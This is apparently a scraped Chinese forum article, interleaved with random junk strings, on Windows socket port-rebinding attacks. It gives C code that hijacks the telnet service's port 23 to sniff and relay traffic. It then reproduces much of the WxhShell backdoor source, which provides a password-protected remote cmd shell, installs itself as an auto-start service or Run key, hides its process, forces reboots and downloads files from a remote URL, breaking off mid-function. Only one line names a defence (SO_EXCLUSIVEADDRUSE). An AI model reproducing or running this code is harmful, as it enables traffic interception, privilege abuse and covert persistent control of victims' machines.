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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ApTE:Fm1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~s2la~gu &cZl2ynPi saddr.sin_family = AF_INET; S1a6uE SsCV}[ saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?+G
/5,e @iBaJ"*, bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2*5pjd{Kt cD ?'lB- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $ww0$
;[B-!F> 这意味着什么?意味着可以进行如下的攻击: '0<9+A# Sf'uKSX1% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D}~uxw;[^ UIC~%?oIA 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q$'D}OH T &3f^]n!@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .&2~gA g4^3H3Pd 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 +?v2MsF'] PW+B&7{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0]xp"xOwW MW|R)gt 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f~:wI9 gMs B1| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z '~Ie~ j:7AVnt #include u;9a/RI #include c@Xb6 z_> #include 5;X r0f #include .oqe0$I DWORD WINAPI ClientThread(LPVOID lpParam); s)G?5Gz int main() j8W<iy { 0M!GoqaA WORD wVersionRequested; m,)o&ix1 DWORD ret; uxlrJ1~M WSADATA wsaData; v}TFM BOOL val; {gb` %J SOCKADDR_IN saddr; CU@}{}Yl SOCKADDR_IN scaddr; dWP<,Z> int err; y\_k8RqE^ SOCKET s; #ri;{d^6 SOCKET sc; &l0,q=T int caddsize; H'}6Mw%ra HANDLE mt; jI%glO'2 DWORD tid; ,olP} wVersionRequested = MAKEWORD( 2, 2 ); yof8L WXx err = WSAStartup( wVersionRequested, &wsaData ); -I[K IeF if ( err != 0 ) { NqM=Nu\ printf("error!WSAStartup failed!\n"); _&N}.y)+t return -1; rV}&G!V_t } uM,R +)3 saddr.sin_family = AF_INET; -z">ov-) W<:x4gBa //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <"yL(s^u" @H$Sv saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PR7B
Cxm saddr.sin_port = htons(23); sh*/wM if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [1e]_9)p { W5>emx'> printf("error!socket failed!\n"); !8&EkXTw, return -1; [lGxys)J } gxmY^"Jy val = TRUE; /[A#iTe //SO_REUSEADDR选项就是可以实现端口重绑定的 K[S)e!\. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &WZ&Tt/)/ { R>B6@|}? printf("error!setsockopt failed!\n"); h@dy}Id return -1; e~geBlLar } j/;wxKW //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5?m4B:W //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 EHK+qrym //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :LCyxLI 0i>p1/kv if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~ ReX$9 { >[l2KD ret=GetLastError(); ]QGo(+ printf("error!bind failed!\n"); \1hQ7:f;\ return -1; g3
Oro}wt6 } O8~RfB listen(s,2); L{oG'aK4 while(1) 0O a&vx { -us:!p1T caddsize = sizeof(scaddr); [5]n,toAh //接受连接请求 /=g/{&3[a> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Yl=-j if(sc!=INVALID_SOCKET) Z!3R { 8nwps(3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <[K3Prf C if(mt==NULL) @`ii3&W4 { 2R W~jn" printf("Thread Creat Failed!\n"); 0lV;bVa% break; Mh
MXn;VKj } fL*+[v4 } Tn9Fg7< CloseHandle(mt); L1f=90 } FY`t7_Y?GV closesocket(s); +X`&VO6~ WSACleanup(); Cbpz Yv32 return 0; Qq'e#nI@ } zB/VS_^^W: DWORD WINAPI ClientThread(LPVOID lpParam) o]]sm}3N { tu(^D23 SOCKET ss = (SOCKET)lpParam; q[9N4nj$< SOCKET sc; r&IDTS# unsigned char buf[4096]; m6#a{ SOCKADDR_IN saddr; 'Va<GHr>+ long num; .PV(MV DWORD val; J*38GX+ DWORD ret; \(--$9 //如果是隐藏端口应用的话,可以在此处加一些判断 /pV N1Yt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 8nWPt!U: saddr.sin_family = AF_INET; H>},{ z saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !a25cm5ys saddr.sin_port = htons(23); \XwC |[%P if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !2>@:CKX { 5{#s<%b. printf("error!socket failed!\n"); =iH9=}aBFC return -1; o1"N{Eu } d]:G#<. val = 100; +TX4," if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pjl>ZoOM { RR'sW@ ret = GetLastError(); #c":y5: return -1; =:!>0~ } __zHe-.m if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bYZU}Kl;( { _#MKp H ret = GetLastError(); /DP0K
@% return -1; o
0T1pGs' } gf?N(, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sT "q] { i+pQ 7wx printf("error!socket connect failed!\n"); ec/>LJDX7 closesocket(sc); 29CzG0?B closesocket(ss); K|OPtYeb return -1; z 2jC48~ } Ftd,dqd while(1) 7WUvO { nA{yH}D4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C| 2|OTtQ //如果是嗅探内容的话,可以再此处进行内容分析和记录 &,=FPlTC= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e6bh,BwgQq num = recv(ss,buf,4096,0); UvM4-M%2JN if(num>0) \WbQS#Z9 send(sc,buf,num,0); bwcr/J(Nb else if(num==0) F n iht< break; AJE$Z0{q num = recv(sc,buf,4096,0); m
OE!`fd if(num>0) FD&^nJ_{ send(ss,buf,num,0); J#ClQ% else if(num==0) L[A?W break; r;MFVj{ } Yi)s=Q : closesocket(ss); :YOo"3.] closesocket(sc); t`{T:Tjc return 0 ; $4~Z]-38#A } G
"!v)o (9kR'kr WUo\jm[yr ========================================================== >\3\&[#" Ok|Dh;1_ 下边附上一个代码,,WXhSHELL (CgvI*O k#u)+e.' ========================================================== aWH RgL>0s #include "stdafx.h" V"'PA-z3 pPag@L #include <stdio.h> rGXUV`5Na #include <string.h> RjTGm=1w #include <windows.h> <P'FqQ] #include <winsock2.h> (vX<Bh #include <winsvc.h> vC`SD] #include <urlmon.h> LkP
:l }ijQ*ECdl #pragma comment (lib, "Ws2_32.lib") IGT9}24 #pragma comment (lib, "urlmon.lib") ,G5[?H;ZN mw}Bl;
- O #define MAX_USER 100 // 最大客户端连接数 {:#nrD" #define BUF_SOCK 200 // sock buffer >iRkhA=Vg #define KEY_BUFF 255 // 输入 buffer ,|}mo+rb- V=% ;5/ #define REBOOT 0 // 重启 gzqp=I[% #define SHUTDOWN 1 // 关机 Kop(+]Q&n #.[eZ[ #define DEF_PORT 5000 // 监听端口 KX7fgC B2P@9u|9 #define REG_LEN 16 // 注册表键长度 @SpP"/)JY #define SVC_LEN 80 // NT服务名长度 ZTz07Jt ; :q // 从dll定义API m4m|? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %>_6&A{K,d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %=Z/Frd typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j*Pq<[~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _MLf58 "om7 :d // wxhshell配置信息 3+s$K(% I struct WSCFG { pMy:h
int ws_port; // 监听端口 "y&`,s5} char ws_passstr[REG_LEN]; // 口令 .|5$yGEF_+ int ws_autoins; // 安装标记, 1=yes 0=no QkW'tU\^ char ws_regname[REG_LEN]; // 注册表键名 /*k_`3L char ws_svcname[REG_LEN]; // 服务名 FKz5,PeL char ws_svcdisp[SVC_LEN]; // 服务显示名 wT6zeEV~* char ws_svcdesc[SVC_LEN]; // 服务描述信息 rF"p7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uOJqj{k_." int ws_downexe; // 下载执行标记, 1=yes 0=no n*A1x8tn char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" _oCNrjt9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gGUKB2) u:2Ll[ eo }; Iz#4!E|< .(.< // default Wxhshell configuration !|i #g$ struct WSCFG wscfg={DEF_PORT, qy)~OBY "xuhuanlingzhe", +kQ=2dva 1, Z+J4q9^$ "Wxhshell", \`xlD&F@U "Wxhshell", %)?jaE}[ "WxhShell Service", 7>BfHb "Wrsky Windows CmdShell Service", w4Df?)Z "Please Input Your Password: ", G$MEVfd" 1, `o295eiY(b " http://www.wrsky.com/wxhshell.exe", la_c:#ho "Wxhshell.exe" C !Srv7 }; xk%
62W 25-h5$s // 消息定义模块 5TB6QLPEwY char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0kOwA%m char *msg_ws_prompt="\n\r? for help\n\r#>"; ow{. iv\,u char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Z%:>nDZV char *msg_ws_ext="\n\rExit."; S6JXi>n char *msg_ws_end="\n\rQuit."; &0qpgl| char *msg_ws_boot="\n\rReboot..."; L/exR6M7 char *msg_ws_poff="\n\rShutdown..."; /*,_\ ; char *msg_ws_down="\n\rSave to "; ?_^{9q%9 Q
N#bd~ char *msg_ws_err="\n\rErr!"; j]<K%lwp char *msg_ws_ok="\n\rOK!"; o!KDeY dCTyfXou[= char ExeFile[MAX_PATH];
9Pe$}N int nUser = 0; H(K
PU1lDw HANDLE handles[MAX_USER]; @x+2b0 b int OsIsNt; j;Z?q%M{6 ;-kDJi SERVICE_STATUS serviceStatus; BR@m*JGajz SERVICE_STATUS_HANDLE hServiceStatusHandle; uHSnZ"# qx[c0X! // 函数声明 #o4tG int Install(void); -dBWpT int Uninstall(void); 2a48(~<_ int DownloadFile(char *sURL, SOCKET wsh); U|%}B( int Boot(int flag); Z9+fTT void HideProc(void); H4AT>}ri int GetOsVer(void); ?`rAO#1 int Wxhshell(SOCKET wsl); VDbbA\ void TalkWithClient(void *cs); v#/Gxk9eX int CmdShell(SOCKET sock); R=LiB+p int StartFromService(void); ChG7>4:\ int StartWxhshell(LPSTR lpCmdLine); jd-]q2fQ| {DQ%fneN4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8mKp PwG0 VOID WINAPI NTServiceHandler( DWORD fdwControl ); %}VH5s9\ D4[t^G;J // 数据结构和表定义 z77>W}d SERVICE_TABLE_ENTRY DispatchTable[] = ~Q]5g7k=& { ,Q7;(&x~ {wscfg.ws_svcname, NTServiceMain}, )B0%"0?`8 {NULL, NULL} >!xyA; }; ~;#}aQYo mA+:)?e5~ // 自我安装 ikV;]ox int Install(void) mL48L57Z { 3EICdC
char svExeFile[MAX_PATH]; G#GZt\)F HKEY key; ?}4,s7PR strcpy(svExeFile,ExeFile); @CmKF !EhKg)y= // 如果是win9x系统,修改注册表设为自启动 Nb`qM]& if(!OsIsNt) { -m%`Di!E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `z0q:ME RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /GC&@y0yi RegCloseKey(key); F9u?+y-xb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5MAfuHq^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^F+7<$2 RegCloseKey(key); TjEXR$:< return 0; =#S.t:HQ* } JN|6+.GG } 1d<Uwb> } aY>v else { R;c9)>8L kygw}|, N // 如果是NT以上系统,安装为系统服务 g=56|G7n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 96(Mu% l if (schSCManager!=0) 6^[4.D { |2u=3#Jp SC_HANDLE schService = CreateService ?!U[~Gq ( @I`^\oJ schSCManager, hDW!pnj1 wscfg.ws_svcname, F`QViZ'n># wscfg.ws_svcdisp, nOGTeKjEJ SERVICE_ALL_ACCESS, jRS{7rx%MH SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `Zm6e!dH- SERVICE_AUTO_START, 1^}I?PbqV SERVICE_ERROR_NORMAL, Ec@n<KK# svExeFile, 2+
cs^M3 NULL, Szgo@x$^ NULL, wwB3m& NULL, Lz'VQO1U= NULL, *7jz(iX NULL 0B]q /G( ); +y?Ilkk;j if (schService!=0) 6(f'P_* { Yg^ &4ZF CloseServiceHandle(schService); Y#ZgrziYM CloseServiceHandle(schSCManager); [7FG;}lB- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \:WWrY8& strcat(svExeFile,wscfg.ws_svcname); qJrT if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c>B1cR
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :x*)o+ RegCloseKey(key); T`ibulp return 0; "0P`=n } 20|`jxp } \xkKgI/ CloseServiceHandle(schSCManager); &Vz$0{d5 } 3S:Lce'f } :hX[8u qq| 5[I.? return 1; ukW&\ } "tzu.V- 9Rnypzds // 自我卸载 }aVZ\PDg int Uninstall(void) 3 !@ { "d_wu#fO) HKEY key; YNEwX$)M,B s{Z)<n03 if(!OsIsNt) { ) CP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F~mIV;BP RegDeleteValue(key,wscfg.ws_regname); -Z"4W RegCloseKey(key); ZD]1C~) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "La;$7ds RegDeleteValue(key,wscfg.ws_regname); r!mRUw'u RegCloseKey(key); ?l0Qi return 0; YA4 D?' } 1`&`y%c?B } 69g{oo } `t~jHe4!Y else { 2s\ClT f2i:I1 p(" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]%' AZ`8 if (schSCManager!=0) Qd[_W^QI { BNu >/zGpB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0ns\:2)cEB if (schService!=0) }Y~Dk]* { Lnr9*dm6q if(DeleteService(schService)!=0) { Iux3f+H CloseServiceHandle(schService); @Jzk2,rI CloseServiceHandle(schSCManager); K3yQ0k
| return 0; *;o%*: } 6p9fq3~7Y CloseServiceHandle(schService); HEF
e? } g'(bk@<BP CloseServiceHandle(schSCManager); fE-R(9K }
P8tdT3*6/ } ZEP?~zV\A HL38iXQ(
3 return 1; h:
' |)O } #Iw(+%D $Habhw // 从指定url下载文件 jx: IK int DownloadFile(char *sURL, SOCKET wsh) /Nf{;G!kg { ;w7 mr1 HRESULT hr; y6XOq> char seps[]= "/"; WAa45G char *token; B*(]T|ff< char *file; p)y5[HX char myURL[MAX_PATH]; j/O~8o& char myFILE[MAX_PATH]; i5VZ,E^E d1<";b2Jt^ strcpy(myURL,sURL); -50DGA,K6 token=strtok(myURL,seps); ;CYoc4e while(token!=NULL) _fHC+lwN { B/twak\ file=token; sdFHr4 token=strtok(NULL,seps); `H+"7SO } T8XrmR&?PX C= ~c`V5>r GetCurrentDirectory(MAX_PATH,myFILE); =&}@GsXdo strcat(myFILE, "\\"); ^4dE8Ve"@ strcat(myFILE, file); s ^h@b!'7 send(wsh,myFILE,strlen(myFILE),0); xE/?ncTK^ send(wsh,"...",3,0); 3gA %Q`" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2c `m= if(hr==S_OK) wPlM=
.Hq? return 0; jm}CrqU else QJ|@Y(KV0 return 1; Ipp_}tl_ R'>!1\?Iq } ;qshd'?* `Ij@;=( // 系统电源模块 ^q:-ZgM> int Boot(int flag) b}[S+G-9W { 3Z!%td5n HANDLE hToken; !GcBNQ1p+7 TOKEN_PRIVILEGES tkp; _olQ;{ U: y>I2}P if(OsIsNt) { nBh+UT} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4Uy% wB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =)a24PDG tkp.PrivilegeCount = 1; cS ~OxAS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xye-Z\-t AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HBlk~eZ if(flag==REBOOT) { cU1o$NRx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K"#$",}= return 0; (Ou%0
KW }
GAz-yCJp else { kp m;ohd if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >Bt82ibN return 0; XkaREE } LgqQr6y" } hlzB
cz* else { ]3KeAJ if(flag==REBOOT) { }A)\bffH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3BFOZV+ return 0; 9/ <3mF@E } Q]ersA8 V> else { |Y9>kXM l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i'IT,jz! return 0; slQn } c_J9CKqc } u` pTFy VY?9|};f return 1; c+Q'4E0| } ++cS^ Lo HW@wia // win9x进程隐藏模块 eg0_ < void HideProc(void) iq#{*:1 { "+HJ/8Dd1 70'OS:J=\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [!'+} if ( hKernel != NULL ) 6Yu:v { &f*orM: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b^o4Q[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b8mH.g&l FreeLibrary(hKernel); PDNl]? } VYk:c`E J9^NHU return; o! a,r3 } ?CpVA i8]EIXbMX // 获取操作系统版本 kDmm int GetOsVer(void) I/E 9: { .u-a+ac< OSVERSIONINFO winfo; Y;i=c6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o) )` "^ GetVersionEx(&winfo); c6h?b[] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) inut'@=G/ return 1; vFPY|Vzh else ?Ga8.0Z~KT return 0; 9*qwXU_aV } eqx }]# 1IXtu // 客户端句柄模块 )Z7Vm2a int Wxhshell(SOCKET wsl) X\^V{v^- { wJp<ZL SOCKET wsh; hnj\|6L struct sockaddr_in client; ,9&cIUH DWORD myID; waMF~#PJlt }7 N6nZj` while(nUser<MAX_USER) = Xgo}g1 { "Q?+T:D8| int nSize=sizeof(client); HDe\Oty_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CPz<iU if(wsh==INVALID_SOCKET) return 1; GVY7`k"km Q,U0xGGz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DAn2Pqf if(handles[nUser]==0) \"lz,bT closesocket(wsh); I G1];vX else %rwvY`\ nUser++; c(Q@5@1y: } dC C*|b8h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &
3#7>oQ I8xdE(o8+ return 0; (t&RFzE?G } K_i|cYGV y`I>|5[` // 关闭 socket +%dXB&9x|Z void CloseIt(SOCKET wsh) > 0^<<=m { EX,>V,.UV closesocket(wsh); EPm~@8@"j? nUser--; : auR0FE ExitThread(0); *`>BOl+ro } ;[ <(4v$ = oAS(7o // 客户端请求句柄 `YhGd?uu$ void TalkWithClient(void *cs) T#!>mL|9| { kK&w5' WzIUHNn'I SOCKET wsh=(SOCKET)cs; IJ^~,+
char pwd[SVC_LEN]; 'a#lBzu\b char cmd[KEY_BUFF]; 5`h$^l/ char chr[1]; lM-9 J?j int i,j; $n<a`PdH h"FI]jK|} while (nUser < MAX_USER) { $1f2'_`8~ BgQEd@cN if(wscfg.ws_passstr) { GJ9>i)+h; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yD+4YD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C`5'5/-. //ZeroMemory(pwd,KEY_BUFF); yl[I'fX66 i=0; Ss[[V(- while(i<SVC_LEN) { ,i:?c !XPjRd q // 设置超时 W[2]$TwT fd_set FdRead; Xa[k=qFo struct timeval TimeOut; =j.TDv'^nd FD_ZERO(&FdRead); t3<MoDe7`r FD_SET(wsh,&FdRead); sz9W}&(j TimeOut.tv_sec=8; 'D\X$^J^ TimeOut.tv_usec=0; ,s8/6n# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +_GS@)L`% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3^8Cc(bk 4]o+)d.`( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y'U1=w~E pwd =chr[0]; nCQtn%j't if(chr[0]==0xd || chr[0]==0xa) { =%<=Bn pwd=0; o/pw=R/): break; z,,"yVk`, } >|taU8^|G} i++; JFT$1^n } T$;S ';C'9k<P: // 如果是非法用户,关闭 socket gk6f_0?X' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1!z{{H;W } 'Lu<2=a~ eiMP: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *yBVZD|?H send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %8*:VR PaCCUF while(1) { 56;u7 8$IKQNS ZeroMemory(cmd,KEY_BUFF); H/o_? qK K43%9=sM // 自动支持客户端 telnet标准 $DHE%IN` j=0; q5;dQ8Y? while(j<KEY_BUFF) { eHr0], if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gUklP(T=u cmd[j]=chr[0]; K(;qd Ir if(chr[0]==0xa || chr[0]==0xd) { pGs?Y81
cmd[j]=0; [)"\Aq break; }0'LKwIR } |] 7c&` j++; -1Q24jrO- } Xm#W}Y' :-?ZU4) // 下载文件 Tg{5%~L] if(strstr(cmd,"http://")) { #/oH #/? send(wsh,msg_ws_down,strlen(msg_ws_down),0); +ktv:d if(DownloadFile(cmd,wsh)) #W~jQ5NS\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); sOhn@*X else Qs1CK;+zU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p:08q
B|uQ } ?%,LZw^[ else { T5:Q_o] |Y3w6 !$ switch(cmd[0]) { XvI~"} 6 f*:; // 帮助 `2f/4]fY case '?': { Z9vMz3^N send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nM[yBA break; I=!kPuw } @2E52$zu // 安装 )Cy>'l*Og7 case 'i': { /a\i if(Install()) jg]KE8( send(wsh,msg_ws_err,strlen(msg_ws_err),0); h*Fv~j'p else ?lC>E[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <$s6?6P break; 5]&sXs } }O\IF}X // 卸载 i:s= case 'r': { _r:Fmn_%- if(Uninstall()) ad}8~6}_& send(wsh,msg_ws_err,strlen(msg_ws_err),0); 71{Q#%5U~ else 3Q,&D'];[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k8?._1t break; z"f@iJX?2 } U'=8:& // 显示 wxhshell 所在路径 h$8h@2% case 'p': { 6{6hz8 char svExeFile[MAX_PATH]; 'V]C.`9c strcpy(svExeFile,"\n\r"); qA>#;UTp strcat(svExeFile,ExeFile); L-9fo- send(wsh,svExeFile,strlen(svExeFile),0); \ ca<L break; q/@2=$]hH3 } <tvLKx // 重启 (.UU40:t case 'b': { n.g-%4\q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8:0/Cj if(Boot(REBOOT)) h*R@ d send(wsh,msg_ws_err,strlen(msg_ws_err),0); r^5%0_F] else { 8i',~[ closesocket(wsh); I8XP`Ccq ExitThread(0); ^6 wWv&G[8 } sU>IETo break; P*KIk~J } t+v%%N_ // 关机 D>|`+=1'0" case 'd': { )Fx]LeI; send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ."wF86jW| if(Boot(SHUTDOWN)) !h#ZbErW send(wsh,msg_ws_err,strlen(msg_ws_err),0); %SC Jmn2 else {
kt6)F&;$ closesocket(wsh); rR6} ExitThread(0); ].Yz
=: } q8P&rMwy break; J8)l ,J" } P2vG)u // 获取shell X):7#x@uy case 's': { XP)^81i| CmdShell(wsh); 9)wYSz' closesocket(wsh); sSU|N;"Y ExitThread(0); wG49|!l6T break; 254V)(t^QM } \-yI
dKj // 退出 ].s;Yxz case 'x': { >B6*`3v send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vv.E6D^x( CloseIt(wsh); $wAR cS break; 0B(s+#s } R=~%kt_n // 离开 b-
- tl@H case 'q': { L2>e@p\> send(wsh,msg_ws_end,strlen(msg_ws_end),0); ah*{NR) closesocket(wsh); _^W;J/He WSACleanup(); ;qaPK2a8 exit(1); qFWN._R break; Srx:rUCv } x|m9?[
!_ } >
-OOU } 6FzB-], nG<oae6z" // 提示信息 WO.u{vW]' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VgVDTWs7 } Qa,= } G%sq;XT61 :^ywc O return; o MJ`_ } eyKxnBz X.>=&~[ // shell模块句柄 X7!q/1$J int CmdShell(SOCKET sock) HThZ4Kg+ { wW\[#Ku STARTUPINFO si; QdgJNT<=H, ZeroMemory(&si,sizeof(si)); ;mEn@@{ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O q$_ q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jRjeL'"G PROCESS_INFORMATION ProcessInfo; "r46Rfa char cmdline[]="cmd"; RiQ]AsTtl CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OK]Q Db return 0; ,gw9R9 x_ } <7]HM5h KAnV%j // 自身启动模式 jh/,G5RM9 int StartFromService(void) BP9#}{kE { %rb$tKk typedef struct 9nN1f@Y { 36{GZDGQ DWORD ExitStatus; >[Vc$[62 DWORD PebBaseAddress; =sk[I0W DWORD AffinityMask; ~1+6gG DWORD BasePriority; zx%WV@O9 ULONG UniqueProcessId; V<UChD)N` ULONG InheritedFromUniqueProcessId; J'Pyn } PROCESS_BASIC_INFORMATION; vS\ 2zwb} yD~,+}0) PROCNTQSIP NtQueryInformationProcess; $6Q^ur: mcQL>7ts static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SO6)FiPy!n static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ASHU0v '?Dxe
